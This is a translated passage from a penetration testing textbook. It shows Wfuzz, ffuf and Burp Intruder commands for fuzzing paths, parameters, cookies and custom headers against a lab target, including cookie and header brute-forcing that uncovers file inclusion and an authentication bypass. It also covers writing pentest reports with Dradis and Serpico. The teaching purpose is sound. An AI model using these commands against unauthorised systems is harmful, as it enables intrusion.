单击“开始攻击”按钮（如前面的屏幕截图所示），Intruder 将尝试使用给定的自定义单词列表对 URI 路径进行模糊处理。模糊器的结果将显示在另一个窗口中，其中包括 HTTP 响应代码和长度，我们可以在下面的屏幕截图中看到：

正如我们在前面的屏幕截图中所看到的，我们能够模糊处理 Web 应用程序服务器的 URI 路径（目录）。现在，让我们看看如何使用相同的工具模糊处理 URI 文件名和文件扩展名。

使用 Wfuzz 进行 HTTP 请求 URI 文件名和文件扩展名的模糊处理

Wfuzz 还可以模糊处理 Web 应用程序服务器的文件名和文件扩展名：

• wfuzz -c --hc=404 -z file,SecLists/Discovery/Web-Content/raft-small-files-lowercase.txt http://192.168.2.19:8090/xvwa/FUZZ.php（文件名模糊处理）

• wfuzz -c --hc=404 -z list,php-asp-aspx-jsp-txt http://192.168.2.19:8090/xvwa/home.FUZZ（文件扩展名模糊处理）

使用 ffuf 进行 HTTP 请求 URI 文件名和文件扩展名的模糊处理

要对 HTTP 请求 URI 文件名和文件扩展名进行模糊处理，可以使用 ffuf 模糊器的以下命令：

• ffuf -c -w <wordlist> -u http://192.168.2.19:8090/xvwa/FUZZ.php（文件名模糊处理）

• ffuf -c -w <wordlist> -u http://192.168.2.19:8090/xvwa/home.FUZZ（文件扩展名模糊处理）

使用 Burp Suite Intruder 进行 HTTP 请求 URI 文件名和文件扩展名的模糊处理

负载标记放置在文件扩展名之前，以模糊文件名（如我们在以下屏幕截图中所见）：

负载标记放置在文件名之后，以模糊文件扩展名（如我们在以下屏幕截图中所见）：

Wfuzz 和 Burp Suite Intruder 的很酷的功能是能够使用多个模糊向量来模糊处理多个负载位置。

使用 Wfuzz 进行 HTTP 请求 URI 的模糊处理（GET 参数+值）

Wfuzz 具有内置功能，可以通过添加FUZZ、FUZ2Z、FUZ3Z...关键字来模糊处理多个负载位置。假设我们想要模糊处理 Web 应用程序服务器的GET参数名称和值。由于我们不能在两个模糊向量中使用相同的单词列表，我们将使用FUZZ和FUZ2Z关键字来执行模糊处理。让我们在 Wfuzz 中执行以下命令：

wfuzz -c -z list,<parameter_wordlist> -z <value_wordlist> http://<target>:<port>/?FUZZ=FUZ2Z

正如我们在前面的命令中所看到的，我们使用了-z选项（是的，我们可以重复使用-z，-H和-b选项）和[parameter]=[value]以/?FUZZ=FUZ2Z格式显示。执行此命令时，模糊器将使用parameter_wordlist中的第一个条目，将其替换为FUZZ关键字，然后通过FUZ2Z循环遍历所有value_wordlist条目。就像这样，模糊器将通过两个单词列表进行模糊处理。现在让我们看看如何使用 Intruder 实现相同的功能。

使用 Burp Suite Intruder 进行 HTTP 请求 URI 的模糊处理（GET 参数+值）

在 Burp Suite 中，不同的攻击类型可以帮助我们进行这种测试。为了同时使用两个字典进行模糊测试，我们将在 Intruder 中使用簇炸弹攻击类型：

1. 首先，让我们将攻击类型设置为簇炸弹，并将有效负载标记设置为/?§§=§§（如下图所示）：

1. 在这种情况下，我们将使用两个有效负载集，让我们将第一个有效负载集（参数名称）设置为简单列表，并将有效负载类型更改为 Simple list：

1. 现在我们的第一个有效负载集已经配置好了，让我们配置第二个有效负载集（参数值）。在将有效负载集设置为2后，让我们将有效负载类型更改为Numbers。由于参数值是整数格式（在这种情况下），让我们将范围设置为1到5，并将步长设置为1：

1. 我们的 Intruder 现在已经配置好了，可以对多个有效负载集进行模糊测试。让我们通过单击“开始攻击”按钮（如前面的屏幕截图中所示）开始模糊测试。然后我们会看到以下屏幕：

成功！

正如我们从前面的屏幕截图中看到的，Intruder 能够找到一个带有一些参数值的参数名称。我们如何区分在字典中找到的参数名称和值与其他条目？通过观察响应长度。

让我们尝试使用Wfuzz模糊三个模糊向量（目录、文件和文件扩展名）。这肯定会花费很多时间，因为它同时结合了不同的有效负载集。为了对目录、文件名和文件扩展名进行模糊测试，我们可以执行以下命令：

wfuzz -c --hc=404 -z file,SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -z file,wfuzz/wordlist/general/common.txt -z list,php-txt http://192.168.2.19/FUZZ/FUZ2Z.FUZ3Z

以下屏幕截图显示了前面命令的输出：

结果可以根据字符数（--hh）、单词数（--hw）或行数（--hl）进行过滤：

现在我们对如何模糊 HTTP 请求 URI 有了一些了解，让我们了解如何模糊 HTTP 头部。

HTTP 请求头

模糊请求头在概念上与模糊 URI 相同。唯一的区别是，通过模糊请求头找到的漏洞数量将比模糊 URI 找到的漏洞数量更多，因为这些头部被发送到 Web 应用程序服务器，服务器会在内部处理这些头部。这意味着我们有更大的范围来发现漏洞。

有不同类型的 HTTP 头部在起作用：

• 标准的 HTTP 头（Cookie，User-Agent，Accept，Host等）

• 非标准的 HTTP 头（X-Forwarded-For，X-Requested-With，DNT等）

• 自定义头部（除了非标准头部之外，任何以X-开头的头部）

让我们尝试了解如何使用与本章其他部分相同的模糊器模糊每种类型的头部。

使用 Wfuzz、ffuf 和 Burp Suite 对标准的 HTTP 头进行模糊测试

标准的 HTTP 头通常被 Web 服务器用来处理客户端请求。在进行 Web 应用程序渗透测试时，建议了解 Web 应用程序的工作原理以及 Web 应用程序服务器如何处理请求头（标准和非标准）。更好地了解 Web 应用程序可以帮助我们定义一些相当不错的模糊向量，从而大大增加在 Web 应用程序中找到逻辑缺陷的可能性。在本主题中，我们将通过一些自定义测试案例来了解如何对 Web 应用程序进行模糊测试。

场景 1 - Cookie 头部模糊

让我们看一个场景。我们有一个 PHP 文件，名为- cookie_test.php。我们使用Cookie标志请求这个文件，值为lang=en_us.php：

服务器响应消息为正在使用的语言：英语：

从en_us.php文件中，我们可能会认为cookie参数正在从服务器包含文件（文件包含）并执行文件，然后打印服务器的消息。

现在让我们看看如何使用Wfuzz模糊cookie头部：

正如我们在上述截图中所看到的，-b选项用于提供cookie值，我们使用了lang=FUZZ。使用基于 Web 应用程序攻击的模糊向量，我们能够找到服务器响应长度不同的有效载荷。在这里，我们使用了 fuzzer 找到的有效载荷之一：

我们能够确认存在文件包含漏洞。

使用ffuf执行以下命令也可以完成相同的操作：

fuff -c -b lang=FUZZ -w <wordlist> -u http://192.168.2.19/cookie_test.php

对于 Burp Suite，我们只需要将有效载荷标记添加到Cookie头部：

同样，我们可以使用相同的工具来模糊用户定义的Cookie头部。让我们来看看这个。

情景 2 - 用户定义的 cookie 头部模糊

这种情况与之前的情况不同。在这种情况下，我们将使用lang=en_us cookie 值从服务器请求cookie_test.php文件：

服务器响应为未经授权的访问！如下截图所示：

仅使用普通请求，服务器将定义的 cookie 回显给我们：

假设我们的目标是访问home.php文件，但目前受到限制，如下所示：

由于没有登录认证页面，我们无法对服务器进行身份验证，我们必须假设身份验证是在User-Agent部分或Cookie部分进行的。让我们假设身份验证是通过检查 cookie 值来进行的。客户端可以使用用户定义的 cookie 值来连接到服务器并成功进行身份验证。为了模糊一个盲目的用户定义的 cookie 值，让我们使用 wfuzz 执行以下命令：

wfuzz --sh=239 -c -z file,<username_wordlist> -z file,<password_wordlist> -b lang=en_us -b FUZZ=FUZ2Z <url>

以下截图显示了上述命令的输出：

哇！正如我们在上述截图中所看到的，当插入一个具有值Cookie: admin=admin;的用户定义的 cookie 时，服务器响应了一个不同的页面。让我们使用相同的用户定义的 cookie 参数名称和值来请求相同的页面：

在下面的截图中，我们可以看到服务器正在将我们重定向到home.php页面：

通过模糊用户定义的 cookie 参数名称和值，我们能够使用cookie_test.php页面进行身份验证，以访问home.php页面：

相同的方法可以用来发现各种漏洞，如 SQL 注入，XSS 和 RCE。

注意：这完全取决于 Web 应用程序以及 Web 应用程序如何处理Cookie头部。如果Сookie头部只是用于服务器向客户端提供临时会话，那么我们除了测试基于会话的漏洞之外，别无他法。

其他标准头部也可以进行模糊，包括User-Agent，Host，Accept和Content-Type。在模糊非标准 HTTP 头部的情况下，我们可以使用一个单词列表来检查 fuzzer 请求的每个头部的服务器响应。有时，通过使用这些非标准头部，如 X-Forwarded-For 等，我们可以绕过服务器对应用程序设置的基于 IP 的访问限制。

使用 Wfuzz，ffuf 和 Burp Suite 模糊自定义头部

在许多网络应用程序中，开发人员引入了一些自定义的 HTTP 头，当请求被处理时，这些头就会被解析。从生成用户特定令牌到通过这些自定义头实现访问控制，这些头具有完全不同的功能级别。在这种情况下，有时开发人员会忘记对用户输入进行消毒，这反过来可能成为利用的目标。让我们看看如何使用 Wfuzz、ffuf 和 Burp Suite 来模糊自定义头。

场景 3 - 自定义头模糊

在这种情况下，我们有一个运行在 PHP 上的应用程序 - custom_header.php。我们从服务器请求以下页面：

！

服务器以未经授权的访问！消息和两个未知的头部 - X-isAdmin: false和X-User: Joe（正如我们在下面的屏幕截图中所看到的）做出回应：

！

服务器的消息如下：

！

通过观察这两个自定义头，我们可以假设服务器也在处理这些头。第一个头，即X-isAdmin，看起来像是一个接受布尔值true或false的自定义头。另一个头，X-User，可能接受用户的名字，所以值是字符串格式。让我们使用Wfuzz来模糊这些头，找出我们能做些什么。让我们在Wfuzz中执行以下命令：

wfuzz -c -z list,true-false -z file,<username_wordlist> -H “X-isAdmin: FUZZ” -H “X-User: FUZ2Z” <url>

以下屏幕截图显示了上述命令的输出：

！

我们可以在 HTTP 请求中的多个位置使用-H标志。现在我们从服务器得到了相同的响应，让我们根据字符长度过滤结果（--hh标志）：

！

不可思议！我们找到了X-isAdmin: true和X-User: Billy的值。这意味着 Billy 是管理员。使用这个自定义头在 HTTP 请求中，让我们看看我们是否能访问页面：

！

正如我们在下面的屏幕截图中所看到的，我们能够使用自定义的 HTTP 头进行身份验证，并在身份验证后，服务器将我们重定向到home.php页面：

！

home.php页面如下所示：

！

现在我们对模糊 HTTP 请求头有了一些清晰的认识，我们也可以在 HTTP POST参数上使用类似的模糊技术，我们可以在下面的屏幕截图中看到：

！

同样，我们也可以对 HTTP POST参数进行模糊测试，以找到应用程序支持的 API 和这些 API 参数支持的可接受值。

对 Web 应用程序攻击向量进行模糊测试可以为我们提供更多关于 Web 应用程序渗透测试的见解。当模糊器发现有趣的东西时，记录每个请求和响应总是一个好习惯。最后，如果向模糊器提供详细的模糊数据，模糊测试就会非常有效。在大多数情况下，模糊测试可以找到代码执行和其他技术漏洞，这是通用 Web 应用程序扫描器无法找到的。

总结

在本章中，我们首先了解了模糊测试的基础知识和不同类型的模糊攻击。然后，我们深入研究了 Web 应用程序模糊测试，并查看了Wfuzz和ffuf的安装。之后，我们对 HTTP 请求动词和请求 URI 进行了模糊测试。在本章的最后，我们看了三种情景：cookie 头部模糊测试，用户定义的 cookie 头部模糊测试和自定义头部模糊测试。通过学习模糊测试，您现在可以了解 Web 应用程序的行为，这将帮助您发现技术和逻辑漏洞。您可以在进行漏洞赏金、或者参加具有挑战性的夺旗赛（CTFs）时，将模糊测试作为常规渗透测试的一部分。

在下一章中，我们将看一下渗透测试报告中必须包括的关键要点。

问题

1. 我可以对基于 SSL 的 Web 应用程序执行模糊测试吗？

2. 这些模糊测试工具（本章提到的）在 Windows 中受支持吗？

3. 我需要在所有 Web 应用程序渗透测试中执行模糊测试吗？

4. 如果我执行模糊测试，会发现什么样的漏洞？

进一步阅读

• Wfuzz 下载页面：github.com/xmendez/wfuzz

• ffuf 下载页面：github.com/ffuf/ffuf

• Burp Suite 官方网站：portswigger.net/burp

• 了解模糊测试的基础知识：owasp.org/www-community/Fuzzing

• 了解 Web 应用程序攻击向量：www.blackhat.com/presentations/bh-dc-07/Sutton/Presentation/bh-dc-07-Sutton-up.pdf

第二十章：撰写渗透测试报告

众所周知，一个好的报告必须包含有关系统漏洞的所有必要细节。所有渗透测试标准都强调撰写结构良好的报告。在本章中，我们将学习一些工具，以便撰写一个好的报告。

报告必须包含的关键要点如下：

• 漏洞的详细信息

• CVSS 评分

• 漏洞对组织的影响

• 修补漏洞的建议

报告应分为两部分：一部分供技术团队使用，另一部分供管理层使用。

在本章中，我们将涵盖以下主题。这些主题将涵盖报告生成过程中常用的工具：

• 报告撰写简介

• Dradis 框架简介

• 与 Serpico 合作

技术要求

本章的技术要求如下：

• Dradis（github.com/dradis）

• Serpico（github.com/SerpicoProject/Serpico）

• 数据库服务器（MariaDB/MySQL）

• Redis 服务器（redis.io/download）

• Ruby (www.ruby-lang.org/en/downloads/)

报告撰写简介

报告是渗透测试中最重要的阶段之一，因为报告的漏洞不仅供技术团队使用，还供管理层使用。通常需要向客户呈现两种类型的报告 - 执行报告 和详细技术报告（DTR）。

执行报告是为组织/公司的高层管理人员准备的，以便他们可以根据报告中提到的业务影响做出决策。另一方面，DTR 如其名所示，是详细报告，概述了发现的所有漏洞。这包括建议的步骤，以帮助技术（内部安全运营和开发团队）团队修补漏洞。总的来说，报告应包含以下细节：

• 目的和范围

• 使用的方法和方法论

• 使用的通用漏洞评分系统（CVSS）版本

• 执行摘要

• 发现摘要（发现的漏洞列表）

• 漏洞详情

• 结论

• 附录

现在我们已经快速介绍了报告撰写，让我们了解如何撰写一个好的执行报告。

撰写执行报告

正如我们在介绍中提到的，执行报告是供 C 级高管和管理层使用的，以便根据进行的风险评估（包括漏洞评估和渗透测试）来理解风险。由于 C 级高管是忙碌的人，报告应尽可能简洁，并包含他们需要的所有信息，以便做出明智的决策。让我们来看看执行报告的通用结构。

标题页

顾名思义，标题页包含有关项目、供应商和客户的信息。

文档版本控制

这个小节也在 DTR 报告中定义。当进行渗透测试时，报告不是一次性完成的。双方需要进行许多更改，以创建一个对客户和测试人员都可接受的平衡报告。将制作初稿并发送给客户。这个小节记录了从初稿起对报告所做的更改次数。每个更改定义了一个新版本。报告最终确定时，版本号也会在报告中提到。

目录

这个小节是报告中最重要的部分之一。目录（ToC）结构化报告文档，以便 C 级高管能够轻松理解。

目标

这个小节向高管介绍了渗透测试项目和定义的时间表。

定义的范围

在报告的这个小节中，应提及所有已定义的范围内的 URL、IP、端点等。这些信息有助于高级管理人员快速注意到受影响的资产，这可能对组织产生业务关键影响。

主要发现（影响）

报告的这个小节列出了每个漏洞的影响；也就是说，攻击者可以对组织的资产做些什么。这些指针帮助组织评估业务资产的安全级别。高级管理人员将知道组织哪些资产需要立即进行关键修复。

问题概述

这个小节让高层管理人员了解发现的漏洞的严重程度。可以使用一个漂亮的饼图或条形图来显示根据严重程度分类的发现的漏洞。

战略建议

这个小节为高级管理人员提供了他们可以遵循的建议，以修复那些具有关键性质的漏洞，如果被利用，可能会给业务带来问题。

报告中的所有细节都应以简洁的方式提及，因为执行报告的主要目标是向高层管理提供评估概述。报告中应删除任何不必要的内容。现在，让我们来看一下 DTR 报告。

撰写详细的技术报告

此报告应包括有关漏洞的所有技术细节。DTR 是为客户端的技术团队准备的。让我们来看一下 DTR 的通用结构。

标题页

顾名思义，标题页包含有关项目、供应商和客户的信息。

文档版本控制

这个小节也在执行报告中定义，并且包含的细节是相同的。

目录

这个小节是报告中最重要的部分之一。目录将报告文档结构化，以便客户的技术团队能够轻松理解。

报告摘要

这个小节提供了对渗透测试项目的概述，并向客户展示了发现的漏洞总数，按其严重程度级别显示。我们可以添加一些漏洞统计数据，如饼图或面积图，并将漏洞定义为关键、高、中、低或信息性。作为渗透测试人员，我们可以添加一个攻击叙述，告诉我们攻击者如何找到这些漏洞，以及攻击者可以利用这些漏洞的程度。报告摘要有助于技术团队以及高级管理人员看到项目的整体成功。

定义的范围

在与客户的启动会议中，项目的范围和范围内的目标将已经确定。在报告的这个小节中，应提及所有已定义的范围内的 URL、IP、端点等。这些信息有助于技术团队快速处理手头的漏洞，并与负责范围内 URL/IP 的开发者/管理员团队进行沟通。

将范围添加到报告中的另一个原因是为了使渗透测试人员的项目流程更加顺畅。在范围未定义的情况下，渗透测试人员将无法评估需要完成的工作量或完成项目所需的天数。众所周知，计算渗透测试项目价值的核心实体之一是人天数。

当渗透测试项目处于初始阶段，即与客户讨论项目时，项目的价值将根据客户共享的范围和执行该范围测试所需的人天数来计算。请注意，这些并不是定义项目价值的唯一因素 - 资产、时间表、为项目分配的资源数量、差旅费用（如果有）以及渗透测试人员的初始要求也是一些关键因素。

这个定义的范围有助于渗透测试人员将团队的资源分配到项目中，并定义时间表，以确保项目流程顺畅。如果有许多子项目，例如与同一客户进行内部网络或外部网络渗透测试，定义范围可以确保双方有相同的期望。

使用的方法

报告的这一小节应包含渗透测试人员在安全评估期间遵循的方法。最好使用图表展示这个过程，并向客户解释每个过程，以便客户端的技术团队了解他们的组织资产是如何被测试的。

无论渗透测试人员遵循 NIST-800 标准、PTES 标准还是他们自己公司的标准，他们都必须在这一小节中解释这个过程。

CVSS

CVSS 是用于确定漏洞严重性的免费和开放的行业标准。在定义漏洞的严重性时，我们需要根据 CVSS 评分计算对漏洞进行分类。本小节将向客户介绍 CVSS 以及我们将在报告中使用的版本。在撰写本文时，CVSS 的版本为 CVSS v3.1，于 2019 年 6 月发布。

漏洞摘要

渗透测试人员应在报告的这一小节中添加漏洞描述、CVSS 评分、漏洞严重性、受影响的端点/IP、概念验证（PoC）、重现步骤、影响、建议和参考资料。

结论

在本小节中，渗透测试人员从攻击者的角度总结了项目的整体难度。任何额外的建议都会添加到这个小节中。

附录

任何其他信息，如屏幕截图、服务枚举、CVSS 计算公式以及客户可能需要的其他任何信息都添加到报告的这个子部分中。

现在，您知道如何撰写执行报告以及 DTR。在报告过程中出现的主要问题是收集所有技术细节。作为渗透测试人员，我们必须确保在渗透测试期间收集所有屏幕截图、URL、使用的有效载荷等，以便将这些细节输入 DTR 报告中。

如果范围只是几个 IP 或 URL，那么收集数据不会成为问题，但如果项目很庞大，那么有时收集数据会变得很麻烦。为了解决这些问题，我们可以选择在 GitHub 上公开可用的报告框架。这些框架可以自动解析输出扫描文件和 Nmap 端口扫描结果，并根据输入的细节给出报告。在接下来的部分，我们将讨论一个这样的框架 - Dradis。

Dradis 框架介绍

Dradis 是一个开源的基于浏览器的应用程序，可用于聚合来自不同工具的输出并生成单个报告。它可以连接到超过 15 种工具，包括 Burp Suite、Nessus、Acunetix 和 Nmap。

预安装配置

要安装 Dradis，我们需要安装一些依赖包。它非常易于使用，并且已经预装在 Kali Linux 中。因此，我们将重新安装它，然后学习如何使用它。

首先，我们需要通过运行以下命令来安装依赖项：

 apt-get install libsqlite3-dev
 apt-get install libmariadbclient-dev-compat
 apt-get install mariadb-client-10.1
 apt-get install mariadb-server-10.1
 apt-get install redis-server

接下来，我们将继续安装。

安装和设置

我们可以使用以下命令下载 Dradis 社区版的 GitHub 存储库：

git clone https://github.com/dradis/dradis-ce.git

上述命令的输出如下：

现在，我们需要运行以下命令：

bundle install –path PATH/TO/DRADIS/FOLDER

以下屏幕截图显示了上述命令的输出：

现在，我们需要转到 Dradis 文件夹。要安装 Dradis，我们需要在 bin 文件夹中运行设置文件，输入以下内容：

./bin/setup

安装完成后，我们可以运行以下命令来启动 Dradis 服务器，如下屏幕截图所示：

bundle exec rails server

以下屏幕截图显示了上述命令的输出：

可以通过转到https://localhost:3000来访问 Dradis。

我们甚至可以使用 Docker 镜像来避免安装步骤和在此过程中可能出现的任何错误。

现在，我们需要设置密码，以便可以访问框架并登录，如下屏幕截图所示：

现在，让我们开始使用 Dradis。

开始使用 Dradis

成功登录后，我们将被重定向到仪表板，如下屏幕截图所示：

Dradis Framework 的免费版本支持各种工具的插件，例如 Nmap、Acunetix、Nikto 和 Metasploit。它还允许我们创建在渗透测试活动期间可以使用的方法论。在平台的左侧窗格中，我们可以看到三个主要部分，可以帮助报告开发过程 - 所有问题、方法论和垃圾箱：

所有问题：此页面允许我们手动或通过导入来自不同工具（如 Nmap、Nikto 和 Nessus）的输出找到的问题。单击此选项将重定向我们到以下页面：

现在，让我们学习如何将第三方报告导入 Dradis。

将第三方报告导入 Dradis

要从工具的输出中导入问题，请按照以下步骤操作：

1. 选择第三个选项“上传工具的输出”，这将带我们到以下页面：

1. 向下滚动将显示已安装的插件列表，以及它们的工具名称，如下屏幕截图所示：

1. 上传报告将显示解析后的输出，如下屏幕截图所示：

1. 导入完成后，我们将在左侧窗格下看到结果，即插件输出，如下屏幕截图所示：

1. 我们刚刚导入的扫描结果的输出如下：

现在，我们需要定义安全测试方法。

在 Dradis 中定义安全测试方法

方法论部分允许我们定义在活动期间将遵循的方法论。最常用的方法论是开放源安全测试方法手册（OSSTMM），渗透测试执行标准（PTES）和国家标准技术研究所。我们甚至可以通过定义一个检查表来创建自己的方法论，如下所示：

1. 要创建检查表，请转到方法论，然后单击“添加新内容”。您将看到以下屏幕：

1. 然后，我们需要为其指定一个名称，然后单击“添加到项目”：

1. 我们应该看到已为我们创建了一个示例列表。单击右侧的“编辑”按钮即可进行编辑：

1. 在这里，我们可以看到列表是在一个 XML 文件中。我们可以通过单击“更新方法”来编辑和保存它：

现在，让我们组织我们的报告。

使用 Dradis 组织报告

现在，让我们学习如何组织我们的扫描报告。节点允许我们为不同的子网、网络和办公地点创建单独的部分，然后将所有问题或截图放在那里。让我们快速看一下如何创建一个节点：

1. 转到左侧菜单中的节点选项，然后单击+号；一个弹出框将打开，我们在其中添加一个网络范围。这样做后，单击“添加”：

1. 要添加一个新的子节点，我们需要从左侧窗格中选择节点，然后选择“添加子节点”选项。子节点用于进一步组织网络。我们甚至可以添加注释和截图作为特定节点中可能发现的错误的证据：

最后，让我们学习如何在 Dradis 中导出报告。

在 Dradis 中导出报告

使用 Dradis Framework，可以导入、组合和导出不同的扫描报告为一个单一的报告，如下截图所示：

注意：有关 Dradis 的更多信息可以在官方网站dradisframework.com/上找到。

到目前为止，我们已经学会了如何安装和设置 Dradis Framework。我们还看了如何在 Dradis 中导入、组织和导出报告。在下一节中，我们将看看另一个名为 Serpico 的工具。

使用 Serpico

Serpico，或者SimplE RePort wrIting and COllaboration工具，是一个用 Ruby 开发的工具，用于加快报告编写的过程。它是开源的，与平台无关，并且可以在 GitHub 上获得。在本节中，我们将介绍 Serpico 的基本安装和使用。

安装和设置

对于 64 位 Linux 系统，安装很容易 - 我们只需从工具的发布部分下载并安装文件，网址为github.com/SerpicoProject/Serpico/releases。

由于 Serpico 有一个 Docker 镜像，我们将在我们的用例中使用它。

首先，我们需要设置数据库和用户名和密码。要做到这一点，运行以下命令：

ruby first_time.rb

以下截图显示了前面命令的输出：

然后，我们使用ruby serpico.rb运行工具：

就是这样 - 现在，我们已经准备好开始使用这个工具了，现在可以在http://127.0.0.1:8443上访问它。

开始使用 Serpico

以下截图显示了 Serpico 的登录界面：

在使用用户名和密码登录后，您将看到一个类似以下的仪表板：

一旦我们登录，我们将看到各种可用选项，如添加用户，添加模板等，如前一个截图的左侧窗格中所示。

要创建一个新报告，请按照以下步骤进行：

1. 从顶部菜单中单击“新报告”选项。我们将被重定向到以下页面：

在这里，我们可以填写各种细节，比如完整的公司名称、评估类型等。

1. 单击保存按钮将带我们到下一页，在那里我们可以填写其余的细节，比如联系邮箱等等。所有这些信息都将打印在最终报告上。

2. 下一步是将我们的模板数据库发现添加到工具中。如果我们想要遵循常见的发现模板，比如 SQLi 和 XSS，我们可以选择从模板中添加发现，或者我们可以选择创建新的发现：

1. 单击模板将下载相应的 Word 文档。它应该看起来类似于以下内容：

1. 要为特定的漏洞添加模板，我们只需选中复选框，然后选择位于页面底部的“添加”按钮。

随着我们不断填充报告的漏洞，我们将看到我们的结构正在形成，并且图表现在更加有意义。我们甚至可以从 Metasploit 数据库直接添加附件和管理主机。

稍后，可以使用“导出报告”功能将其导出为单个报告。Serpico 还支持各种插件，可用于从不同工具（如 Burp Suite 和 Nessus）导入数据。

从 Metasploit 导入数据到 Serpico

让我们看看如何连接 Serpico 到 Metasploit 来导入数据。首先，我们需要编辑要连接到 Metasploit 的报告。我们将被重定向到一个新页面。从左侧菜单中选择“附加功能”。以下页面将打开：

现在，让我们启动我们的 Metasploit RPC 服务，如下面的屏幕截图所示：

完成此操作后，我们需要在浏览器中切换回 Serpico，并单击“配置 Metasploit RPC 连接”，这将带我们到以下页面：

填写连接详细信息并保存这些设置将连接 Serpico 到 Metasploit。通过这样做，所有发现将被添加到报告中。

将第三方报告导入 Serpico

与 Dradis 类似，我们还可以从其他工具导入发现到 Serpico 的报告中。让我们快速学习如何从 Nessus 以及 Burp Suite 导入发现。

在编辑报告时，在“附加功能”页面上，我们可以选择“从 Nessus XML 自动添加发现”选项，如下面的屏幕截图所示：

我们将被重定向到一个新页面，我们可以在该页面上传 Nessus 的 XML 文件，如下面的屏幕截图所示：

在选择“从 Burp 扫描器报告自动添加发现”选项时，我们有上传 Burp 扫描器报告的选项，如下面的屏幕截图所示：

然后，Burp Suite 报告将被解析为 Serpico 格式，并且报告中的结果将显示在 Serpico 的主面板上，如下面的屏幕截图所示：

现在我们知道如何从第三方工具导入扫描报告到 Serpico，让我们学习如何管理用户。

Serpico 中的用户管理

用户管理对于组织是必要的，特别是当渗透测试团队庞大时。Serpico 还允许我们管理用户，如下面的屏幕截图所示：

Serpico 支持两种类型的用户授权：本地授权和基于 Active Directory（AD）的授权。一旦用户被添加，可以通过单击左侧窗格中的“列出用户”链接来查看当前用户列表，如下面的屏幕截图所示：

除了用户管理外，Serpico 还允许我们管理报告模板。

在 Serpico 中管理模板

Serpico 还允许我们使用从 Microsoft Word 衍生的元语言创建自定义报告模板。我们可以从“添加报告模板”页面定义和上传自定义报告模板，如下面的屏幕截图所示：

互联网上还有许多其他用户创建和共享的预构建模板。

以多种格式生成报告

Serpico 允许我们以不同的格式生成报告：

• 仅文本格式

• CSV 格式

• ASCII Doc 格式

• 演示格式（包括 PDF）

• HTML 格式

这就是我们对 Dradis Framework 和 Serpico 的快速介绍。

有关 Serpico 的更多信息，请访问github.com/SerpicoProject/SerpicoPlugins/wiki/Main-Page。

摘要

在本章中，我们介绍了报告撰写及其两种类型。我们还使用了两个工具- Dradis 和 Serpico。现在您已经熟悉它们的框架，可以使用它们生成和组织报告。

这就是我们又一个了不起的旅程的结束。我们希望您喜欢这本书。我们始终欢迎您的反馈，因为它有助于我们改进和创造更好的内容。随时与我们联系以获取任何进一步的查询，并别忘了向您的朋友推荐这本书！

问题

1. Serpico 支持的元语言是什么？

2. 渗透测试报告应包括哪些必要项目？

3. 还可以使用哪些其他工具进行自动报告撰写？

4. Dradis 和 Serpico 是否支持 Microsoft Windows？

进一步阅读

以下链接提供了有关 Dradis 和 Serpico 的更多信息：

• dradisframework.com/ce/

• github.com/SerpicoProject/Serpico

• github.com/SerpicoProject/Serpico/wiki/Serpico-Meta-Language-In-Depth

• github.com/SerpicoProject/SerpicoPlugins/wiki/Main-Page

第二十一章：评估

第一章

1. 是的，有。MITRE 维护的 CWE 列表可以在cwe.mitre.org/找到。

2. OWASP 十大漏洞可以在owasp.org/www-project-top-ten/找到，而 SANS 25 大软件错误可以在www.sans.org/top25-software-errors/找到。

3. 在典型的渗透测试中使用的许多工具都是开源的，例如 Nmap 和 Metasploit 框架。但是，市场上还有一些非常高效的工具，例如 BurpSuite 专业版和 Nessus 专业版。

4. 基于 OSSTMM 的渗透测试可以是六种不同类型之一，具体取决于参与的性质和范围。基于 PTES 的渗透测试被归类为非常通用的测试类型，例如白盒测试、灰盒测试和黑盒测试。由于 PTES 是行业标准，大多数渗透测试都使用 PTES 方法论。

第二章

1. Metasploit 社区版和 Metasploit Framework 是开源的。Metasploit Pro 是商业版，附带许多额外功能。请查看以下链接获取更多信息：www.rapid7.com/products/metasploit/download/editions/

2. Metasploit Framework 版本 5 允许我们使用AES或RC4加密对我们的有效载荷进行加密。您只需使用 MSFVenom 中的--encrypt选项生成有效载荷即可。

3. 不，不能。目前，Metasploit Framework 仅支持 PostgreSQL 作为后端。

4. Metasploit Framework 数据库可以直接通过端口5432连接。如果您想通过安全通道与数据库通信，可以使用运行在 HTTP/HTTPS 上的 PostgreSQL Web 服务将 Metasploit Framework 连接到数据库。

第三章

1. 从基本的网络侦察到链式任务，有很多功能可以使用。在 Metasploit CE 中，许多功能被锁定，仅适用于 Metasploit Pro Edition。

2. 要使用自定义 SSL 证书，请将 Metasploit Web UI 附带的默认 SSL 证书替换为您自己的证书，方法是转到<path/to/metasploit>/opt/metasploit/nginx/cert并用您自己的文件替换那里的文件。

3. Web 界面兼容 Google Chrome 10+，Mozilla Firefox 18+，Internet Explorer 10+和 Iceweasel 18+。

4. 是的，可以。RESTful API 在 Metasploit 产品的所有版本中都可用。请查看metasploit.help.rapid7.com/docs/standard-api-methods-reference以查看标准 Metasploit API 文档。

5. 是的，可以。您可以在 Metasploit Web 界面中检查自定义报告格式，并相应地进行配置。请查看以下链接获取更多信息，网址为metasploit.help.rapid7.com/docs/about-reports。

第四章

1. HTTP 头检测模块获取服务器响应中的 HTTP 头。如果管理员已经阻止/删除了 HTTP 头，此模块将不会提供任何输出。该模块运行良好。

2. 默认情况下，Metasploit Web 界面附带 NMAP 版本 4.x（预安装）的软件包，用于执行主机发现和端口扫描。为了获得更好的结果，您可以安装和使用最新版本的 NMAP。

3. 是的，可以。Web 界面只为 Metasploit 框架提供了图形用户界面（GUI），因此您也可以添加自定义模块。

4. 您可以在页面前面放置一个反向代理。您首先必须使用 HTTP 基本身份验证机制进行身份验证，然后可以使用登录页面与 Metasploit Web 界面进行身份验证。有关更多信息，请查看文档docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/。

第五章

1. 是的，您可以。GitHub 上有许多著名的字典可用于更好的枚举结果。

2. Metasploit 使您有权修改或添加自己的模块，这些模块可以根据不同的模块运行执行。您可以选择编写自定义模块，也可以编写自己的 Metasploit 插件，用于在单个命令中自动执行整个枚举过程。

3. 正则表达式用于高效过滤搜索。使用正则表达式，您可以执行更加专注的抓取，而不是更多垃圾导向的抓取。

第六章

1. 这完全取决于扫描运行的频率和并发性。最少可以使用两个客户端节点和一个主节点进行分布式扫描，但您可以根据要扫描的系统数量做出决定。

2. 当在 Metasploit 中加载 WMAP 插件时，将在与之连接的数据库中保存所有结果。注意：此插件中没有特定功能会生成 WMAP 报告。

